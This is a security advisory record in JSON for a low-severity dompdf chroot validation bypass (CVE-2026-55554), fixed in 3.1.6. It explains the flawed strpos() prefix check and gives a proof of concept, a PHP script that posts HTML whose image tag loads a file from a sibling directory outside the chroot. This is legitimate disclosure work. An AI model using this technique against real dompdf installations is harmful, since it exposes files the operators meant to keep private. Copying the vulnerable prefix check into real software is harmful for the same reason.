{"id":"CVE-2026-55554","aliases":["GHSA-wvh6-f5jh-8gw4"],"title":"Dompdf: Chroot Validation Bypass","summary":"Dompdf: Chroot Validation Bypass","severity":"low","cwe":["CWE-20","CWE-22"],"vendor":"dompdf","product":"dompdf/dompdf","ecosystem":"composer","affected":["dompdf/dompdf < 3.1.6"],"patched":["dompdf/dompdf 3.1.6"],"published":"2026-07-22","updated":"2026-07-22","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-wvh6-f5jh-8gw4","references":[{"url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-wvh6-f5jh-8gw4"},{"url":"https://github.com/dompdf/dompdf/commit/1b3b61ec4f6962678e56ee8a42920b4f835ab006"},{"url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6"},{"url":"https://github.com/advisories/GHSA-wvh6-f5jh-8gw4"}],"tags":["ghsa","composer"],"ingestedAt":"2026-07-22T22:06:58.092Z","epss":0.00326,"epssPercentile":0.25872,"slug":"CVE-2026-55554","body":"## Overview\n\n### Summary\nThe chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.\n\nThis allows attacker-controlled document paths/resources to bypass intended local file restrictions.\n\n### Details\nThe `validateLocalUri()` method is used to check if a local file is within an allowed chroot directory. After normalization with `realpath()`, this check is performed with a `strpos()` comparison:\n\n\n```\n    public function validateLocalUri(string $uri)\n    {\n        ...\n        $realfile = realpath(str_replace(\"file://\", \"\", $uri));\n        ...\n        foreach ($dirs as $chrootPath) {\n            $chrootPath = realpath($chrootPath);\n            if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {\n                $chrootValid = true;\n```\n\nDue to the normalization, the `$chrootPath` string does not have a terminating directory separator (`/`) appended. Because of this, the `strpos()` check only validates that `$chrootPath` is a _prefix_ of  `$realfile`. This allows access to folders with similar names that fall outside of the defined chroot restrictions.\n\nFor example, a chroot setting of `/var/www/` would be normalized to `/var/www`, removing the trailing `/`. During `strpos()`, a `$chrootPath` of `/var/www` will also match a `$realfile` starting with `/var/www2`, `/var/www-admin`, or `/var/www_backup`, despite these being different directories.\n\n### PoC\n\nWith a directory structure similar to:\n\n```\n/home/dompdf/\n  |--> web/\n        |--> pdf.php\n        |--> cat0.jpg\n  |--> web-admin/\n        |--> cat1.jpg\n```\n\nAnd web-accessible Dompdf functionality similar to the following (poc.html):\n\n```\n<?php\nrequire 'vendor/autoload.php';\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options->setChroot(['/home/dompdf/web/']);\n$dompdf = new Dompdf($options);\n\n$dompdf->loadHtml($_POST['html']);\n$dompdf->render();\n$dompdf->stream();\n?>\n```\n\nA malicious actor can exploit the vulnerability with the following script:\n\n```\n$html = <<<HTML\n<!DOCTYPE html>\n<html>\n    <body>\n        <p>within chroot</p>\n            <img src=\"/home/dompdf/web/cat0.jpg\">\n        <p>outside of chroot</p>\n            <img src=\"/home/dompdf/web-admin/cat1.jpg\">\n    </body>\n</html>\nHTML;\n\n$url = 'http://example.com/poc.php';\n$data = ['html' => $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' => [\n        'header' => $headers,\n        'method' => 'POST',\n        'content' => http_build_query($data),\n        'ignore_errors' => true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\nWhen the PDF is generated, both `jpg` files are loaded successfully despite the `cat1.jpg` file being outside of the allowed chroot.\n\n### Impact\nAn attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.\n\n## Affected packages\n\n- `dompdf/dompdf < 3.1.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `dompdf/dompdf 3.1.6`","depth":"sunlit","depthScore":14,"depthScoreParts":{"impact":13.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}